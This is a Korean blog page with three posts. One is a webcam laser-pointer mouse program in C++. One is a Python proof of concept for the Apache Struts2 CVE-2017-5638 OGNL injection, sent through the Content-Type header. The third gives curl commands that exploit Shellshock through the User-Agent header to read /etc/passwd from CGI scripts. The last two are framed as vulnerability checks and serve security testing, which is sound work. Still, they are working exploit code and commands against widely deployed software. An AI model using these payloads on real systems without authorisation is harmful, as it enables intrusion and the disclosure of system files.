Laser Mouse via WebCam

카테고리 없음 | 2020. 1. 26. 04:40
Posted by 신이내린프로그래머

Purpose

이 프로그램은 강의나 세미나 등 스크린에 빔프로젝터로 영상을 뿌려 스크린을 보며 설명을 할 때 스크린에 레이저를 쏘아 클릭, 더블클릭 등 마우스처럼 이용 할 수 있는 프로그램입니다.

빔프로젝터를 이용한 발표를 할 때 마우스를 눌리기 위한 동선을 없애며 발표나 시연 등을 자주하는 사람들에게 도움이 되고 기존의 무선레이저는 ppt의 화면 넘기는 것만 되지만 이 프로그램을 사용하면 일반 레이저로 그것보다 더 많은 것을 할 수 있으며 청중들의 관심도 자연스럽게 끌 수 있을 것입니다.

 

 

 

 

 

Main Code

if(prev_laseron == false && laseron == true && laser_click == 1){

if(abs(laser_x - pt.x) < 30 && abs(laser_y - pt.y) < 30){

laser_click = 2;

}else{

laser_click = 0;

}

}else if(prev_laseron == false && laseron == true && laser_click == 3){

if(abs(laser_x - pt.x) < 30 && abs(laser_y - pt.y) < 30){

laser_click = 4;

}else{

laser_click = 0;

}

}else if(prev_laseron == false && laseron == true && laser_click == 5){

if(abs(laser_x - pt.x) < 30 && abs(laser_y - pt.y) < 30){

laser_click = 6;

}else{

laser_click = 0;

}

}else if(prev_laseron == true && laseron == false && laser_click == 0){

laser_click = 1;

}else if(prev_laseron == true && laseron == false && laser_click == 2){

laser_click = 3;

}else if(prev_laseron == true && laseron == false && laser_click == 4){

laser_click = 5;

}else if(prev_laseron == true && laseron == false && laser_click == 6){

laser_click = 7;

}else if(prev_laseron == false && laseron == false){

if(laser_click != 0){

laser_click_time++;

}

if(laser_click_time > 10){

if(laser_click == 3){

SetCursorPos(laser_x, laser_y);

mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);

mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

laser_click = 0;

laser_click_time = 0;

}else if(laser_click == 5){

SetCursorPos(laser_x, laser_y);

mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);

mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

Sleep(10);

mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);

mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

laser_click = 0;

laser_click_time = 0;

}else if(laser_click == 7){

SetCursorPos(laser_x, laser_y);

mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);

mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);

laser_click = 0;

laser_click_time = 0;

}

}

}

if(laser_click == 0){

laser_x = pt.x;

laser_y = pt.y;

}

prev_laseron = laseron;

 

 

 

Recognise rate, speed

레이저를 계속 켜고 있는 상태에도 꺼졌다 켜졌다하는 식으로 인식을 하여 변수들을 두고 카운트를 적절하게 하여 클릭 정확도를 최대한 높였습니다. 그리고 gray모드로 변환하니 레이저를 눈으로 확인할 수 있을 정도로 밝은 것을 확인할 수 있었고 속도 또한 가장 빨라 이 방법을 택하였습니다.

 

Apache Struts2 취약점 jakarta (CVE-2017-5638) POC

카테고리 없음 | 2017. 5. 12. 16:19
Posted by 신이내린프로그래머

python 2.7 설치


CMD창 명령어 입력

c:\Python27\python.exe -m pip install requests


CVE-2017-5638.py 생성

import requests

 

import sys

 

 

def poc(url):

 

    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

 

    headers = {}

 

    headers["Content-Type"] = payload

 

    r = requests.get(url, headers=headers)

 

    if "105059592" in r.content:

 

        return True

 

 

    return False

 

 

 

if __name__ == '__main__':

 

    if len(sys.argv) == 1:

 

        print "python s2-045.py target"

 

        sys.exit()

 

    if poc(sys.argv[1]):

 

        print "vulnerable"

 

    else:

 

        print "not vulnerable" 



CMD창 명령어 입력

CVE-2017-5638.py http://xxx.xxx.xxx.xxx


not vulnerable 나오면 미취약

vulnerable 나오면 취약

 

bash shell 영향도 검증

Programming/Security | 2017. 5. 11. 16:48
Posted by 신이내린프로그래머

1. 윈도우용 curl 설치



2. 다운로드

https://curl.haxx.se/download.html

윈도우 7zip 다운



3. cmd창

curl.exe 잇는 폴더로 가기



4. 명령어

curl --max-time 5 -k -A "User-Agent: () { :;}; echo;/bin/cat /etc/passwd" http://아이피:포트/cgi-bin/test-cgi

curl --max-time 5 -k -H "User-Agent: () { :;}; echo;/bin/cat /etc/passwd" http://아이피:포트/cgi-bin/test-cgi


curl --max-time 5 -k -A "User-Agent: () { :;}; echo;/bin/cat /etc/passwd" http://아이피:포트/cgi-bin/authLogin.cgi

curl --max-time 5 -k -H "User-Agent: () { :;}; echo;/bin/cat /etc/passwd" http://아이피:포트/cgi-bin/authLogin.cgi


5. 영향도

/etc/passwd 로 검증하였으므로 passwd 노출되면 영향도 O

 

블로그 이미지

신이내린프로그래머

카테고리

Category (22)
Programming (19)
... (1)